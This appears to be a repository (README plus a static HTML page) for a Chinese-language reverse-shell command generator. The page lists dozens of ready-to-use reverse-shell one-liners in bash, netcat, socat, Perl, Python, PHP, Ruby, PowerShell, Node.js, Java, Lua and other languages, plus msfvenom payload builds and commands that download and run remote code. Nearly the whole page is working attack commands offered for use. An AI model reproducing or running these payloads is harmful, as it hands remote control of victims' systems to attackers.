├── README.md └── index.html /README.md: -------------------------------------------------------------------------------- 1 | # Reverse-shell-cheatsheet 2 | 反弹Shell命令一键生成,采用纯静态页面,无环境依赖。 3 | 4 | 纯静态在线版:[https://www.se7ensec.cn/ReShell.html](https://www.se7ensec.cn/ReShell.html) 5 | 6 | 因为博客模板的原因,被夹在中间显示了,正常就是个单页面。 7 | 8 | 感谢: 9 | 10 | 原版(挂了):[https://krober.biz/misc/reverse_shell.php](https://krober.biz/misc/reverse_shell.php) 11 | 12 | PHP版源码:[https://github.com/evi1ox/shell_command](https://github.com/evi1ox/shell_command) 13 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Reverse shell cheatsheet 5 | 27 | 62 | 63 | 64 |
65 | 66 | IP: 67 | Port: 68 | 69 | 70 | 85 | 86 | 87 |

Bash TCP:

88 | Victim: 89 |
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
90 | 91 |
/bin/bash -i > /dev/tcp/127.0.0.1/8080 0<& 2>&1
92 | 93 |
exec 5<>/dev/tcp/127.0.0.1/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
94 | 95 |
exec /bin/sh 0</dev/tcp/127.0.0.1/8080 1>&0 2>&0
96 | 97 |
0<&196;exec 196<>/dev/tcp/127.0.0.1/8080; sh <&196 >&196 2>&196
98 | 99 | 100 |

Bash UDP:

101 | Victim: 102 |
sh -i >& /dev/udp/127.0.0.1/8080 0>&1
103 |
104 | Listener: 105 |
nc -u -lvp 8080
106 | 107 | 108 |

Netcat:

109 |
nc -e /bin/sh 127.0.0.1 8080
110 | 111 |
nc -e /bin/bash 127.0.0.1 8080
112 | 113 |
nc -c bash 127.0.0.1 8080
114 | 115 |
mknod backpipe p && nc 127.0.0.1 8080 0<backpipe | /bin/bash 1>backpipe 
116 | 117 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8080 >/tmp/f
118 | 119 |
rm -f /tmp/p; mknod /tmp/p p && nc 127.0.0.1 8080 0/tmp/p 2>&1
120 | 121 |
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 127.0.0.1 8080 > f
122 | 123 |
rm -f x; mknod x p && nc 127.0.0.1 8080 0<x | /bin/bash 1>x
124 | 125 | 126 |

Ncat:

127 |
ncat 127.0.0.1 8080 -e /bin/bash
128 | 129 |
ncat --udp 127.0.0.1 8080 -e /bin/bash
130 | 131 | 132 |

Telnet:

133 |
rm -f /tmp/p; mknod /tmp/p p && telnet 127.0.0.1 8080 0/tmp/p 2>&1
134 | 135 |
telnet 127.0.0.1 8080 | /bin/bash | telnet 127.0.0.1 444
136 | 137 |
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 127.0.0.1 8080 > f
138 | 139 |
rm -f x; mknod x p && telnet 127.0.0.1 8080 0<x | /bin/bash 1>x
140 | 141 | 142 |

Socat:

143 | Victim: 144 |
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:8080
145 | 146 |
socat tcp-connect:127.0.0.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane
147 |
148 | Listener: 149 |
socat file:`tty`,raw,echo=0 TCP-L:8080
150 | 151 |
152 | Victim: 153 |
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:8080
154 | 155 | 156 |

Perl:

157 | Victim: 158 |
perl -e 'use Socket;$i="127.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
159 | 160 | 161 |
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
162 |
163 | 164 | Windows only, Victim: 165 |
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
166 | 167 | 168 |

Python:

169 | IP v4 170 |
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
171 | 172 | 173 |
export RHOST="127.0.0.1";export RPORT=8080;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
174 | 175 | 176 |
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
177 | 178 | 179 | IP v6 180 |
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",8080,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
181 | 182 | 183 | Windows only: 184 |
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('127.0.0.1', 8080)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
185 | 186 | 187 |

PHP:

188 |
php -r '$sock=fsockopen("127.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
189 | 190 |
php -r '$s=fsockopen("127.0.0.1",8080);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'
191 | 192 |
php -r '$s=fsockopen("127.0.0.1",8080);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
193 | 194 |
php -r '$s=fsockopen("127.0.0.1",8080);`/bin/sh -i <&3 >&3 2>&3`;'
195 | 196 |
php -r '$s=fsockopen("127.0.0.1",8080);system("/bin/sh -i <&3 >&3 2>&3");'
197 | 198 |
php -r '$s=fsockopen("127.0.0.1",8080);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
199 | 200 | 201 |

Ruby:

202 |
ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
203 | 204 | 205 |
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
206 |
207 | 208 | NOTE: Windows only 209 |
ruby -rsocket -e 'c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
210 | 211 | 212 | 213 | 214 |

OpenSSL:

215 | Attacker: 216 |
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
217 | 218 |
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
219 | 220 | or 221 |
ncat --ssl -vv -l -p 8080
222 | 223 | Victim: 224 |
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:8080 > /tmp/s; rm /tmp/s
225 | 226 | 227 |

Powershell:

228 |
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("127.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
229 | 230 |
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
231 | 232 |
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
233 | 234 | 235 |

Awk:

236 |
awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
237 | 238 | 239 |

TCLsh

240 |
echo 'set s [socket 127.0.0.1 8080];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
241 | 242 | 243 |

Java:

244 |
r = Runtime.getRuntime()
245 | p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
246 | p.waitFor()
247 | 248 |
String host="127.0.0.1";
249 | int port=4444;
250 | String cmd="cmd.exe";
251 | Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
252 | 253 |
Thread thread = new Thread(){
254 |     public void run(){
255 |         // Reverse shell here
256 |     }
257 | }
258 | thread.start();
259 | 260 | 261 |

War:

262 |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f war > reverse.war
263 | strings reverse.war | grep jsp # in order to get the name of the file
264 | 265 | 266 |

Lua:

267 | Linux only 268 |
lua -e "require('socket');require('os');t=socket.tcp();t:connect('127.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"
269 |
270 | Windows and Linux 271 |
lua5.1 -e 'local host, port = "127.0.0.1", 8080 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
272 | 273 | 274 |

NodeJS:

275 |
(function(){
276 |     var net = require("net"),
277 |         cp = require("child_process"),
278 |         sh = cp.spawn("/bin/sh", []);
279 |     var client = new net.Socket();
280 |     client.connect(8080, "127.0.0.1", function(){
281 |         client.pipe(sh.stdin);
282 |         sh.stdout.pipe(client);
283 |         sh.stderr.pipe(client);
284 |     });
285 |     return /a/; // Prevents the Node.js application form crashing
286 | })();
287 | 288 |
require('child_process').exec('nc -e /bin/sh 127.0.0.1 8080')
289 | 290 |
-var x = global.process.mainModule.require
291 | -x('child_process').exec('nc 127.0.0.1 8080 -e /bin/bash')
292 | 293 |
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
294 | 295 | 296 |

Groovy:

297 | 298 |
String host="127.0.0.1";
299 | int port=8080;
300 | String cmd="cmd.exe";
301 | Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
302 | 303 | 304 |

Meterpreter Shell:

305 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f exe > reverse.exe
306 | 307 |
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f exe > reverse.exe
308 | 309 |
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f elf >reverse.elf
310 | 311 |
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f elf >reverse.elf
312 | 313 |
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f elf > shell.elf
314 | 315 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f exe > shell.exe
316 | 317 |
msfvenom -p osx/x86/shell_reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f macho > shell.macho
318 | 319 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f asp > shell.asp
320 | 321 |
msfvenom -p java/jsp_shell_reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f raw > shell.jsp
322 | 323 |
msfvenom -p java/jsp_shell_reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f war > shell.war
324 | 325 |
msfvenom -p cmd/unix/reverse_python LHOST="127.0.0.1" LPORT=8080 -f raw > shell.py
326 | 327 |
msfvenom -p cmd/unix/reverse_bash LHOST="127.0.0.1" LPORT=8080 -f raw > shell.sh
328 | 329 |
msfvenom -p cmd/unix/reverse_perl LHOST="127.0.0.1" LPORT=8080 -f raw > shell.pl
330 | 331 | 332 | 333 |

Xterm:

334 |
xterm -display 127.0.0.1:1
335 | Xnest :1
336 | xhost +targetip
337 | 338 |
339 | 340 | 341 | 342 | --------------------------------------------------------------------------------